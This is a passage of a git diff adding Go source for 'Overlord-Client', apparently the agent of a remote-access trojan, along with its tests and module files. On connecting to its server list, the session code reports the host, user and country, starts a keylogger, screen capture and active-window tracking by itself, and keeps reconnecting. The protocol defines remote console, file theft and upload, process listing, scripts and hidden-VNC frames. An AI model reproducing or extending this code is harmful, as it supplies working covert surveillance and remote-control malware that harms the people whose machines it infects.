WARNING: raw server list returned no URLs") + return false + } + + if !equalStringSlices(cfg.ServerURLs, urls) { + log.Printf("[config] refreshed raw server list (%d servers)", len(urls)) + cfg.ServerURLs = urls + } + return true +} + +func equalStringSlices(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} + +func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport { + tlsConfig := &tls.Config{ + InsecureSkipVerify: cfg.TLSInsecureSkipVerify, + MinVersion: minVersion, + } + + if cfg.TLSCAPath != "" { + caCert, err := os.ReadFile(cfg.TLSCAPath) + if err != nil { + log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err) + } else { + caCertPool := x509.NewCertPool() + if caCertPool.AppendCertsFromPEM(caCert) { + tlsConfig.RootCAs = caCertPool + log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath) + } else { + log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath) + } + } + } + + if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" { + cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey) + if err != nil { + log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err) + } else { + tlsConfig.Certificates = []tls.Certificate{cert} + log.Printf("[TLS] Loaded client certificate for mutual TLS") + } + } + + if cfg.TLSInsecureSkipVerify { + log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!") + } + + transport := http.DefaultTransport.(*http.Transport).Clone() + transport.TLSClientConfig = tlsConfig + return transport +} + +func isTLSVersionError(err error) bool { + if err == nil { + return false + } + msg := strings.ToLower(err.Error()) + return strings.Contains(msg, "protocol version not supported") || + strings.Contains(msg, "tls: protocol version not supported") +} + +func computeBaseBackoff() time.Duration { + mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE"))) + _ = mode + return randomReconnectDelay(10*time.Second, 30*time.Second) +} + +func reconnectDelay() time.Duration { + raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS")) + if raw == "" { + return randomReconnectDelay(10*time.Second, 30*time.Second) + } + ms, err := strconv.Atoi(raw) + if err != nil || ms < 0 { + log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw) + return randomReconnectDelay(10*time.Second, 30*time.Second) + } + if ms == 0 { + return 0 + } + return time.Duration(ms) * time.Millisecond +} + +var reconnectRng = rand.New(rand.NewSource(time.Now().UnixNano())) + +func randomReconnectDelay(min, max time.Duration) time.Duration { + if max <= min { + return min + } + delta := max - min + n := time.Duration(reconnectRng.Int63n(int64(delta) + 1)) + return min + n +} + +func shouldRetryImmediately(err error) bool { + if err == nil { + return false + } + if errors.Is(err, handlers.ErrReconnect) { + return true + } + var closeErr *websocket.CloseError + if errors.As(err, &closeErr) { + if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway { + return true + } + if closeErr.Code == websocket.StatusAbnormalClosure { + return true + } + } + msg := strings.ToLower(err.Error()) + if strings.Contains(msg, "timed out from inactivity") { + return true + } + return false +} + +func getPingInterval() time.Duration { + raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS")) + if raw == "" { + return 30 * time.Second + } + ms, err := strconv.Atoi(raw) + if err != nil { + log.Printf("[ping] invalid OVERLORD_PING_INTERVAL_MS=%q, using 30000ms", raw) + return 30 * time.Second + } + if ms <= 0 { + return 0 + } + return time.Duration(ms) * time.Millisecond +} + +func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) { + defer func() { + if r := recover(); r != nil { + reason := fmt.Sprintf("session panic: %v", r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("%s (see %s)", reason, path) + err = fmt.Errorf("session panic: %v", r) + } + }() + defer cancel() + defer conn.Close(websocket.StatusNormalClosure, "bye") + + safeWriter := wire.NewSafeWriter(conn) + env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()} + env.SetLastPong(time.Now().UnixMilli()) + env.Console = rt.NewConsoleHub(env) + env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version}) + defer env.Plugins.Close() + + env.Keylogger = keylogger.New() + if err := env.Keylogger.Start(); err != nil { + log.Printf("[keylogger] Failed to start: %v", err) + } else { + defer env.Keylogger.Stop() + } + + dispatcher := handlers.NewDispatcher(env) + + osVal := strings.TrimSpace(cfg.OS) + if osVal == "" { + osVal = runtime.GOOS + } + + archVal := strings.TrimSpace(cfg.Arch) + if archVal == "" { + archVal = runtime.GOARCH + } + + hello := wire.Hello{ + Type: "hello", + ID: cfg.ID, + HWID: cfg.HWID, + Host: rt.Hostname(), + OS: osVal, + Arch: archVal, + Version: cfg.Version, + User: rt.CurrentUser(), + Monitors: capture.MonitorCount(), + MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()), + Country: cfg.Country, + } + + if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { + return fmt.Errorf("send hello: %w", err) + } + + if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil { + log.Printf("ping: failed to send initial ping: %v", err) + cancel() + return fmt.Errorf("send initial ping: %w", err) + } + + if interval := getPingInterval(); interval > 0 { + log.Printf("ping: heartbeat interval=%s", interval) + goSafe("ping loop", cancel, func() { + ticker := time.NewTicker(interval) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + ping := wire.Ping{Type: "ping", TS: time.Now().UnixMilli()} + if err := wire.WriteMsg(ctx, env.Conn, ping); err != nil { + log.Printf("ping: failed to send: %v", err) + cancel() + return + } + } + } + }) + goSafe("pong watchdog", cancel, func() { + grace := interval + (10 * time.Second) + if grace < 20*time.Second { + grace = 20 * time.Second + } + ticker := time.NewTicker(interval) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + last := env.LastPong() + if !last.IsZero() && time.Since(last) > grace { + log.Printf("ping: no pong for %s, forcing reconnect", time.Since(last)) + cancel() + return + } + } + } + }) + } + + readErr := make(chan error, 1) + go func() { + defer func() { + if r := recover(); r != nil { + reason := fmt.Sprintf("readLoop panic: %v", r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("%s (see %s)", reason, path) + err := fmt.Errorf("%s", reason) + select { + case readErr <- err: + default: + } + cancel() + } + }() + + if err := readLoop(ctx, conn, env, dispatcher); err != nil { + log.Printf("readLoop ended: %v", err) + select { + case readErr <- err: + default: + } + cancel() + } + }() + + shotCtx, cancelShots := context.WithCancel(ctx) + defer cancelShots() + goSafe("capture loop", cancel, func() { + capture.Loop(shotCtx, env) + }) + + goSafe("activewindow", nil, func() { + if err := activewindow.Start(ctx, env); err != nil { + log.Printf("activewindow error: %v", err) + } + }) + + return <-readErr +} + +func toWireMonitorInfo(infos []capture.MonitorInfo) []wire.MonitorInfo { + if len(infos) == 0 { + return nil + } + out := make([]wire.MonitorInfo, 0, len(infos)) + for _, info := range infos { + out = append(out, wire.MonitorInfo{Width: info.Width, Height: info.Height}) + } + return out +} + +func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher *handlers.Dispatcher) error { + for { + _, data, err := conn.Read(ctx) + if err != nil { + if ctx.Err() != nil { + return err + } + log.Printf("readLoop: read error: %v", err) + return err + } + envelope, err := wire.DecodeEnvelope(data) + if err != nil { + log.Printf("decode: %v (bytes=%d)", err, len(data)) + continue + } + if err := dispatcher.Dispatch(ctx, envelope); err != nil { + log.Printf("dispatcher error: %v (type=%v)", err, envelope["type"]) + return err + } + } +} diff --git a/Overlord-Client/cmd/agent/session_helpers_test.go b/Overlord-Client/cmd/agent/session_helpers_test.go new file mode 100644 index 0000000..1d748d0 --- /dev/null +++ b/Overlord-Client/cmd/agent/session_helpers_test.go @@ -0,0 +1,135 @@ +package main + +import ( + "errors" + "net/http" + "os" + "testing" + "time" + + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/handlers" + + "nhooyr.io/websocket" +) + +func withEnv(key, value string, fn func()) { + old, ok := os.LookupEnv(key) + if value == "" { + _ = os.Unsetenv(key) + } else { + _ = os.Setenv(key, value) + } + defer func() { + if ok { + _ = os.Setenv(key, old) + } else { + _ = os.Unsetenv(key) + } + }() + fn() +} + +func TestGetPingInterval_Default(t *testing.T) { + withEnv("OVERLORD_PING_INTERVAL_MS", "", func() { + interval := getPingInterval() + if interval != 30*time.Second { + t.Fatalf("expected 30s, got %s", interval) + } + }) +} + +func TestGetPingInterval_Custom(t *testing.T) { + withEnv("OVERLORD_PING_INTERVAL_MS", "0", func() { + interval := getPingInterval() + if interval != 0 { + t.Fatalf("expected 0, got %s", interval) + } + }) +} + +func TestGetPingInterval_Invalid(t *testing.T) { + withEnv("OVERLORD_PING_INTERVAL_MS", "oops", func() { + interval := getPingInterval() + if interval != 30*time.Second { + t.Fatalf("expected 30s on invalid input, got %s", interval) + } + }) +} + +func TestReconnectDelay_Custom(t *testing.T) { + withEnv("OVERLORD_RECONNECT_DELAY_MS", "0", func() { + delay := reconnectDelay() + if delay != 0 { + t.Fatalf("expected 0, got %s", delay) + } + }) +} + +func TestReconnectDelay_Invalid(t *testing.T) { + withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() { + delay := reconnectDelay() + if delay < 10*time.Second || delay > 30*time.Second { + t.Fatalf("expected 10-30s, got %s", delay) + } + }) +} + +func TestShouldRetryImmediately(t *testing.T) { + cases := []struct { + name string + err error + want bool + }{ + { + name: "normal closure", + err: &websocket.CloseError{Code: websocket.StatusNormalClosure}, + want: true, + }, + { + name: "going away", + err: &websocket.CloseError{Code: websocket.StatusGoingAway}, + want: true, + }, + { + name: "abnormal closure", + err: &websocket.CloseError{Code: websocket.StatusAbnormalClosure}, + want: true, + }, + { + name: "timeout string", + err: errors.New("timed out from inactivity"), + want: true, + }, + { + name: "other error", + err: errors.New("something else"), + want: false, + }, + { + name: "explicit reconnect", + err: handlers.ErrReconnect, + want: true, + }, + } + + for _, tc := range cases { + if got := shouldRetryImmediately(tc.err); got != tc.want { + t.Fatalf("%s: expected %v, got %v", tc.name, tc.want, got) + } + } +} + +func TestBuildDialOptions(t *testing.T) { + transport := &http.Transport{} + opts := buildDialOptions(config.Config{}, transport) + if len(opts.Subprotocols) != 1 || opts.Subprotocols[0] != "binary" { + t.Fatalf("expected binary subprotocol, got %v", opts.Subprotocols) + } + if opts.CompressionMode != websocket.CompressionContextTakeover { + t.Fatalf("expected compression takeover, got %v", opts.CompressionMode) + } + if opts.HTTPClient == nil || opts.HTTPClient.Transport != transport { + t.Fatalf("expected http client to use provided transport") + } +} diff --git a/Overlord-Client/cmd/agent/wire/codec.go b/Overlord-Client/cmd/agent/wire/codec.go new file mode 100644 index 0000000..bdb2069 --- /dev/null +++ b/Overlord-Client/cmd/agent/wire/codec.go @@ -0,0 +1,11 @@ +package wire + +import "github.com/vmihailenco/msgpack/v5" + +func DecodeEnvelope(data []byte) (map[string]interface{}, error) { + env := make(map[string]interface{}) + if err := msgpack.Unmarshal(data, &env); err != nil { + return nil, err + } + return env, nil +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go new file mode 100644 index 0000000..199bad9 --- /dev/null +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -0,0 +1,187 @@ +package wire + +type Hello struct { + Type string `msgpack:"type"` + ID string `msgpack:"id"` + HWID string `msgpack:"hwid"` + Host string `msgpack:"host"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` + User string `msgpack:"user"` + Monitors int `msgpack:"monitors"` + MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` + Country string `msgpack:"country,omitempty"` +} + +type MonitorInfo struct { + Width int `msgpack:"width"` + Height int `msgpack:"height"` +} + +type Ping struct { + Type string `msgpack:"type"` + TS int64 `msgpack:"ts,omitempty"` +} + +type Pong struct { + Type string `msgpack:"type"` + TS int64 `msgpack:"ts,omitempty"` +} + +type Command struct { + Type string `msgpack:"type"` + CommandType string `msgpack:"commandType"` + Payload interface{} `msgpack:"payload,omitempty"` + ID string `msgpack:"id,omitempty"` +} + +type CommandResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + OK bool `msgpack:"ok"` + Message string `msgpack:"message,omitempty"` +} + +type FrameHeader struct { + Monitor int `msgpack:"monitor"` + FPS int `msgpack:"fps"` + Format string `msgpack:"format"` + HVNC bool `msgpack:"hvnc,omitempty"` +} + +type Frame struct { + Type string `msgpack:"type"` + Header FrameHeader `msgpack:"header"` + Data []byte `msgpack:"data"` +} + +type ScreenshotResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Format string `msgpack:"format"` + Width int `msgpack:"width,omitempty"` + Height int `msgpack:"height,omitempty"` + Data []byte `msgpack:"data"` + Error string `msgpack:"error,omitempty"` +} + +type ConsoleOutput struct { + Type string `msgpack:"type"` + SessionID string `msgpack:"sessionId"` + Data []byte `msgpack:"data,omitempty"` + ExitCode *int `msgpack:"exitCode,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type FileEntry struct { + Name string `msgpack:"name"` + Path string `msgpack:"path"` + IsDir bool `msgpack:"isDir"` + Size int64 `msgpack:"size"` + ModTime int64 `msgpack:"modTime"` + Mode string `msgpack:"mode,omitempty"` + Owner string `msgpack:"owner,omitempty"` + Group string `msgpack:"group,omitempty"` +} + +type FileListResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Path string `msgpack:"path"` + Entries []FileEntry `msgpack:"entries"` + Error string `msgpack:"error,omitempty"` +} + +type FileDownload struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Path string `msgpack:"path"` + Data []byte `msgpack:"data"` + Offset int64 `msgpack:"offset"` + Total int64 `msgpack:"total"` + ChunkIndex int `msgpack:"chunkIndex,omitempty"` + ChunksTotal int `msgpack:"chunksTotal,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type FileUploadResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + TransferID string `msgpack:"transferId,omitempty"` + Path string `msgpack:"path"` + OK bool `msgpack:"ok"` + Offset int64 `msgpack:"offset,omitempty"` + Size int64 `msgpack:"size,omitempty"` + Received int64 `msgpack:"received,omitempty"` + Total int64 `msgpack:"total,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type ProcessInfo struct { + PID int32 `msgpack:"pid"` + PPID int32 `msgpack:"ppid"` + Name string `msgpack:"name"` + CPU float64 `msgpack:"cpu"` + Memory uint64 `msgpack:"memory"` + Username string `msgpack:"username,omitempty"` + Type string `msgpack:"type,omitempty"` +} + +type ProcessListResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Processes []ProcessInfo `msgpack:"processes"` + Error string `msgpack:"error,omitempty"` +} + +type FileReadResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Path string `msgpack:"path"` + Content string `msgpack:"content"` + IsBinary bool `msgpack:"isBinary"` + Error string `msgpack:"error,omitempty"` +} + +type FileSearchMatch struct { + Path string `msgpack:"path"` + Line int `msgpack:"line,omitempty"` + Match string `msgpack:"match,omitempty"` +} + +type FileSearchResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + SearchID string `msgpack:"searchId"` + Results []FileSearchMatch `msgpack:"results"` + Complete bool `msgpack:"complete"` + Error string `msgpack:"error,omitempty"` +} + +type ScriptResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + OK bool `msgpack:"ok"` + Output string `msgpack:"output"` + Error string `msgpack:"error,omitempty"` +} + +type PluginEvent struct { + Type string `msgpack:"type"` + PluginID string `msgpack:"pluginId"` + Event string `msgpack:"event"` + Payload interface{} `msgpack:"payload,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type Notification struct { + Type string `msgpack:"type"` + Category string `msgpack:"category"` + Title string `msgpack:"title"` + Process string `msgpack:"process,omitempty"` + ProcessPath string `msgpack:"processPath,omitempty"` + PID int32 `msgpack:"pid,omitempty"` + Keyword string `msgpack:"keyword,omitempty"` + TS int64 `msgpack:"ts,omitempty"` +} diff --git a/Overlord-Client/cmd/agent/wire/protocol_test.go b/Overlord-Client/cmd/agent/wire/protocol_test.go new file mode 100644 index 0000000..46bcad2 --- /dev/null +++ b/Overlord-Client/cmd/agent/wire/protocol_test.go @@ -0,0 +1,361 @@ +package wire + +import ( + "bytes" + "context" + "testing" + + "github.com/vmihailenco/msgpack/v5" + "nhooyr.io/websocket" +) + +type testWriter struct { + msgs [][]byte +} + +func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error { + w.msgs = append(w.msgs, append([]byte(nil), p...)) + return nil +} + +func TestHelloMarshaling(t *testing.T) { + hello := Hello{ + Type: "hello", + ID: "test-id", + HWID: "test-hwid", + Host: "test-host", + OS: "test-os", + Arch: "test-arch", + Version: "1.0.0", + User: "test-user", + Monitors: 2, + MonitorInfo: []MonitorInfo{ + {Width: 1920, Height: 1080}, + {Width: 1280, Height: 720}, + }, + Country: "US", + } + + data, err := msgpack.Marshal(hello) + if err != nil { + t.Fatalf("Failed to marshal Hello: %v", err) + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Hello: %v", err) + } + + if decoded.ID != hello.ID { + t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID) + } + if decoded.Monitors != hello.Monitors { + t.Errorf("Monitors mismatch: got %d, want %d", decoded.Monitors, hello.Monitors) + } + if len(decoded.MonitorInfo) != len(hello.MonitorInfo) { + t.Errorf("MonitorInfo length mismatch: got %d, want %d", len(decoded.MonitorInfo), len(hello.MonitorInfo)) + } +} + +func TestPingPongMarshaling(t *testing.T) { + ping := Ping{ + Type: "ping", + TS: 1234567890, + } + + data, err := msgpack.Marshal(ping) + if err != nil { + t.Fatalf("Failed to marshal Ping: %v", err) + } + + var decoded Ping + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Ping: %v", err) + } + + if decoded.TS != ping.TS { + t.Errorf("Timestamp mismatch: got %d, want %d", decoded.TS, ping.TS) + } + + pong := Pong{ + Type: "pong", + TS: ping.TS, + } + + data2, err := msgpack.Marshal(pong) + if err != nil { + t.Fatalf("Failed to marshal Pong: %v", err) + } + + var decodedPong Pong + if err := msgpack.Unmarshal(data2, &decodedPong); err != nil { + t.Fatalf("Failed to unmarshal Pong: %v", err) + } + + if decodedPong.TS != pong.TS { + t.Errorf("Pong timestamp mismatch: got %d, want %d", decodedPong.TS, pong.TS) + } +} + +func TestCommandMarshaling(t *testing.T) { + cmd := Command{ + Type: "command", + CommandType: "test_command", + ID: "cmd-123", + Payload: map[string]interface{}{"key": "value"}, + } + + data, err := msgpack.Marshal(cmd) + if err != nil { + t.Fatalf("Failed to marshal Command: %v", err) + } + + var decoded Command + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Command: %v", err) + } + + if decoded.CommandType != cmd.CommandType { + t.Errorf("CommandType mismatch: got %s, want %s", decoded.CommandType, cmd.CommandType) + } + if decoded.ID != cmd.ID { + t.Errorf("ID mismatch: got %s, want %s", decoded.ID, cmd.ID) + } +} + +func TestCommandResultMarshaling(t *testing.T) { + result := CommandResult{ + Type: "command_result", + CommandID: "cmd-123", + OK: true, + Message: "Success", + } + + data, err := msgpack.Marshal(result) + if err != nil { + t.Fatalf("Failed to marshal CommandResult: %v", err) + } + + var decoded CommandResult + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal CommandResult: %v", err) + } + + if decoded.OK != result.OK { + t.Errorf("OK mismatch: got %v, want %v", decoded.OK, result.OK) + } + if decoded.Message != result.Message { + t.Errorf("Message mismatch: got %s, want %s", decoded.Message, result.Message) + } +} + +func TestFrameMarshaling(t *testing.T) { + frame := Frame{ + Type: "frame", + Header: FrameHeader{ + Monitor: 0, + FPS: 30, + Format: "jpeg", + }, + Data: []byte{0xFF, 0xD8, 0xFF, 0xE0}, + } + + data, err := msgpack.Marshal(frame) + if err != nil { + t.Fatalf("Failed to marshal Frame: %v", err) + } + + var decoded Frame + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Frame: %v", err) + } + + if decoded.Header.FPS != frame.Header.FPS { + t.Errorf("FPS mismatch: got %d, want %d", decoded.Header.FPS, frame.Header.FPS) + } + if !bytes.Equal(decoded.Data, frame.Data) { + t.Errorf("Data mismatch") + } +} + +func TestFileEntryMarshaling(t *testing.T) { + entry := FileEntry{ + Name: "test.txt", + Path: "/home/user/test.txt", + IsDir: false, + Size: 1024, + ModTime: 1609459200, + } + + data, err := msgpack.Marshal(entry) + if err != nil { + t.Fatalf("Failed to marshal FileEntry: %v", err) + } + + var decoded FileEntry + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal FileEntry: %v", err) + } + + if decoded.Name != entry.Name { + t.Errorf("Name mismatch: got %s, want %s", decoded.Name, entry.Name) + } + if decoded.Size != entry.Size { + t.Errorf("Size mismatch: got %d, want %d", decoded.Size, entry.Size) + } + if decoded.IsDir != entry.IsDir { + t.Errorf("IsDir mismatch: got %v, want %v", decoded.IsDir, entry.IsDir) + } +} + +func TestFileListResultMarshaling(t *testing.T) { + result := FileListResult{ + Type: "file_list_result", + CommandID: "cmd-456", + Path: "/home/user", + Entries: []FileEntry{ + {Name: "file1.txt", Path: "/home/user/file1.txt", IsDir: false, Size: 100, ModTime: 1609459200}, + {Name: "dir1", Path: "/home/user/dir1", IsDir: true, Size: 0, ModTime: 1609459200}, + }, + Error: "", + } + + data, err := msgpack.Marshal(result) + if err != nil { + t.Fatalf("Failed to marshal FileListResult: %v", err) + } + + var decoded FileListResult + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal FileListResult: %v", err) + } + + if len(decoded.Entries) != len(result.Entries) { + t.Errorf("Entries count mismatch: got %d, want %d", len(decoded.Entries), len(result.Entries)) + } + if decoded.Path != result.Path { + t.Errorf("Path mismatch: got %s, want %s", decoded.Path, result.Path) + } +} + +func TestProcessInfoMarshaling(t *testing.T) { + proc := ProcessInfo{ + PID: 1234, + PPID: 1, + Name: "test.exe", + CPU: 25.5, + Memory: 1048576, + Username: "testuser", + Type: "own", + } + + data, err := msgpack.Marshal(proc) + if err != nil { + t.Fatalf("Failed to marshal ProcessInfo: %v", err) + } + + var decoded ProcessInfo + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal ProcessInfo: %v", err) + } + + if decoded.PID != proc.PID { + t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID) + } + if decoded.PPID != proc.PPID { + t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID) + } + if decoded.Name != proc.Name { + t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name) + } + if decoded.CPU != proc.CPU { + t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU) + } + if decoded.Type != proc.Type { + t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type) + } +} + +func TestProcessListResultMarshaling(t *testing.T) { + result := ProcessListResult{ + Type: "process_list_result", + CommandID: "cmd-789", + Processes: []ProcessInfo{ + {PID: 1, PPID: 0, Name: "init", CPU: 0.1, Memory: 1024, Username: "root", Type: "system"}, + {PID: 100, PPID: 1, Name: "service", CPU: 5.0, Memory: 2048, Username: "system", Type: "service"}, + }, + Error: "", + } + + data, err := msgpack.Marshal(result) + if err != nil { + t.Fatalf("Failed to marshal ProcessListResult: %v", err) + } + + var decoded ProcessListResult + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal ProcessListResult: %v", err) + } + + if len(decoded.Processes) != len(result.Processes) { + t.Errorf("Processes count mismatch: got %d, want %d", len(decoded.Processes), len(result.Processes)) + } +} + +func TestWriteMsg(t *testing.T) { + writer := &testWriter{} + ctx := context.Background() + + msg := Pong{ + Type: "pong", + TS: 1234567890, + } + + if err := WriteMsg(ctx, writer, msg); err != nil { + t.Fatalf("WriteMsg failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var decoded Pong + if err := msgpack.Unmarshal(writer.msgs[0], &decoded); err != nil { + t.Fatalf("Failed to unmarshal written message: %v", err) + } + + if decoded.TS != msg.TS { + t.Errorf("Written message timestamp mismatch: got %d, want %d", decoded.TS, msg.TS) + } +} + +func TestConsoleOutputMarshaling(t *testing.T) { + exitCode := 0 + output := ConsoleOutput{ + Type: "console_output", + SessionID: "session-123", + Data: []byte("test output"), + ExitCode: &exitCode, + Error: "", + } + + data, err := msgpack.Marshal(output) + if err != nil { + t.Fatalf("Failed to marshal ConsoleOutput: %v", err) + } + + var decoded ConsoleOutput + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal ConsoleOutput: %v", err) + } + + if decoded.SessionID != output.SessionID { + t.Errorf("SessionID mismatch: got %s, want %s", decoded.SessionID, output.SessionID) + } + if !bytes.Equal(decoded.Data, output.Data) { + t.Errorf("Data mismatch") + } + if decoded.ExitCode == nil || *decoded.ExitCode != *output.ExitCode { + t.Errorf("ExitCode mismatch") + } +} diff --git a/Overlord-Client/cmd/agent/wire/safe_writer.go b/Overlord-Client/cmd/agent/wire/safe_writer.go new file mode 100644 index 0000000..146401b --- /dev/null +++ b/Overlord-Client/cmd/agent/wire/safe_writer.go @@ -0,0 +1,23 @@ +package wire + +import ( + "context" + "sync" + + "nhooyr.io/websocket" +) + +type SafeWriter struct { + mu sync.Mutex + w Writer +} + +func NewSafeWriter(w Writer) *SafeWriter { + return &SafeWriter{w: w} +} + +func (s *SafeWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error { + s.mu.Lock() + defer s.mu.Unlock() + return s.w.Write(ctx, messageType, p) +} diff --git a/Overlord-Client/cmd/agent/wire/writer.go b/Overlord-Client/cmd/agent/wire/writer.go new file mode 100644 index 0000000..6e4d7ea --- /dev/null +++ b/Overlord-Client/cmd/agent/wire/writer.go @@ -0,0 +1,20 @@ +package wire + +import ( + "context" + + "github.com/vmihailenco/msgpack/v5" + "nhooyr.io/websocket" +) + +type Writer interface { + Write(ctx context.Context, messageType websocket.MessageType, p []byte) error +} + +func WriteMsg(ctx context.Context, w Writer, v interface{}) error { + payload, err := msgpack.Marshal(v) + if err != nil { + return err + } + return w.Write(ctx, websocket.MessageBinary, payload) +} diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod new file mode 100644 index 0000000..ff39d26 --- /dev/null +++ b/Overlord-Client/go.mod @@ -0,0 +1,22 @@ +module overlord-client + +go 1.21 + +require ( + github.com/creack/pty v1.1.21 + github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 + github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d // optional: turbojpeg build tag + github.com/tetratelabs/wazero v1.7.0 + github.com/vmihailenco/msgpack/v5 v5.4.1 + nhooyr.io/websocket v1.8.10 +) + +require golang.org/x/sys v0.24.0 + +require ( + github.com/gen2brain/shm v0.1.0 // indirect + github.com/godbus/dbus/v5 v5.1.0 // indirect + github.com/jezek/xgb v1.1.1 // indirect + github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum new file mode 100644 index 0000000..7d186d5 --- /dev/null +++ b/Overlord-Client/go.sum @@ -0,0 +1,33 @@ +github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= +github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY= +github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA= +github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= +github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4= +github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= +github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4= +github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ= +github.com/lxn/win 